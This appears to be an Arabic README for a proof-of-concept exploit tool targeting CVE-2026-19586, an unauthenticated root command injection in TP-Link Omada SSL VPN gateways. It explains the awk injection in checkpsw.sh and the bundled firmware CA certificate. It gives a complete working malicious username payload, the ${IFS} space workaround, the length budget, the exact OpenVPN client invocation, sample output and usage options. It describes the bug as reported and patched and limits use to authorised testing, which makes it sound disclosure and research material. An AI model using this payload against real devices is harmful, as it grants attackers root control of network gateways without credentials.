
Python PoC يستغل CVE-2026-19586، وهو حقن أوامر بدون مصادقة في TP-Link Omada SSL VPN ينفذ أوامر عشوائية كـ root عبر حقن اسم مستخدم OpenVPN.
TP-Link Omada SSL VPN تنفيذ أوامر عن بُعد دون مصادقة (CVE-2026-19586)
تسمح ثغرة حقن الأوامر (CWE-78) في مسار مصادقة SSL VPN الخاص ببرنامج TP-Link Omada الثابت لمهاجم غير مُصادَق عليه بتنفيذ أوامر عشوائية بصلاحيات root. عند تمكين خادم SSL VPN القائم على OpenVPN، يمرر OpenVPN اسم المستخدم المُرسَل من العميل المتصل إلى /usr/sbin/checkpsw.sh، وهو السكربت المرتبط بتوجيه auth-user-pass-verify. يقوم ذلك السكربت بإدراج اسم المستخدم دون علامات اقتباس داخل برنامج awk، لذا فإن اسم مستخدم يحتوي على علامة اقتباس مزدوجة يُغلق النص الحرفي للسلسلة في awk الذي أُدرج فيه، ويُفسَّر الباقي كشيفرة awk.
تُنفَّذ كتلة BEGIN في awk مرة واحدة قبل قراءة أول سطر من المدخلات، لذا يُنفَّذ استدعاء system() المُحقون قبل مقارنة كلمة المرور المُرسَلة بأي شيء، وبصلاحيات root.
لا يتطلب الخادم أي شهادة عميل ولا يحمل أي مفتاح tls-auth أو tls-crypt، كما أن شهادة CA الخاصة به مُضمَّنة بشكل ثابت في صورة البرنامج الثابت. إن ca.crt في هذا المستودع هو تلك الشهادة، وهو متطابق على كل جهاز يعمل بالبرنامج الثابت المتأثر، لذا يمكن لأي مهاجم يستطيع الوصول إلى منفذ VPN إكمال مصافحة TLS والوصول إلى الحقن دون أي بيانات اعتماد ودون أي وصول مسبق إلى الجهاز.
لا يمكن أن يحتوي اسم المستخدم على مسافات حرفية، لأن الصدفة (shell) تقسم التوسيع غير المُقتبس إلى وسائط منفصلة قبل أن يراه awk. استخدم ${IFS} بدلاً منها، حيث تعيد الصدفة التي يستدعيها system() توسيعها إلى مسافة. يحد OpenVPN اسم المستخدم عند 128 بايت؛ ويستخدم هيكل الحمولة 22 منها، تاركًا 106 للأمر.
تم اختبار هذا الإثبات للمفهوم (PoC) على TP-Link Omada ER7212PC v2 (البرنامج الثابت 6.1.0.19). السكربت المتأثر مشترك عبر خط بوابات Omada؛ قد تختلف المسارات وأرقام الأسطر والسلوك على طرازات أو إصدارات برامج ثابتة أخرى.
يُرسل هذا الإثبات للمفهوم حمولة اسم مستخدم تُنفَّذ بصلاحيات root على الجهاز الهدف. تم الإبلاغ عن هذه المشكلة إلى TP-Link وتم إصلاحها في إصدارات البرنامج الثابت المذكورة في التنبيه؛ شغّل هذا ضد أجهزة تملكها أو لديك تفويض صريح باختبارها.
$ sudo python3 cve-2026-19586.py <target> -c '<command>'
مطلوب عميل openvpn، ويجب تشغيله بصلاحيات root، لأنه يحتاج إلى CAP_NET_ADMIN لإنشاء جهاز tun. هذا متطلب لعميل OpenVPN المحلي، وليس للهدف.
مثال على التشغيل:
$ sudo python3 cve-2026-19586.py 10.0.0.100 -c 'id>/tmp/proof'
TP-Link Omada SSL VPN Unauthenticated RCE (CVE-2026-19586) - OpenVPN Username Injection
Target : 10.0.0.100:1194/udp
CA cert : ca.crt
Command : id>/tmp/proof
Username : x";BEGIN{system("id>/tmp/proof")};#
[*] Running: openvpn --client --dev tun --proto udp --remote 10.0.0.100 1194 --resolv-retry 1 --nobind --ca ca.crt --remote-cert-tls server --cipher AES-256-CBC --data-ciphers-fallback AES-256-CBC --reneg-sec 0 --auth-user-pass /tmp/ovpn_creds_m0ycjowy.txt --auth-nocache --verb 3
[openvpn client output]
يُنفَّذ الأمر على الجهاز قبل اكتمال المصادقة، لذا لن يتصل عميل OpenVPN نفسه. تفشل محاولة المصادقة ويخرج العميل، وهذا أمر متوقع.
| Argument | Description |
|---|
target | Target device IP or hostname |
-c, --command | Command to run as root on the target. Use ${IFS} in place of spaces |
-p, --port | SSL VPN UDP port (default: 1194) |
--ca | CA certificate extracted from the firmware (default: ca.crt) |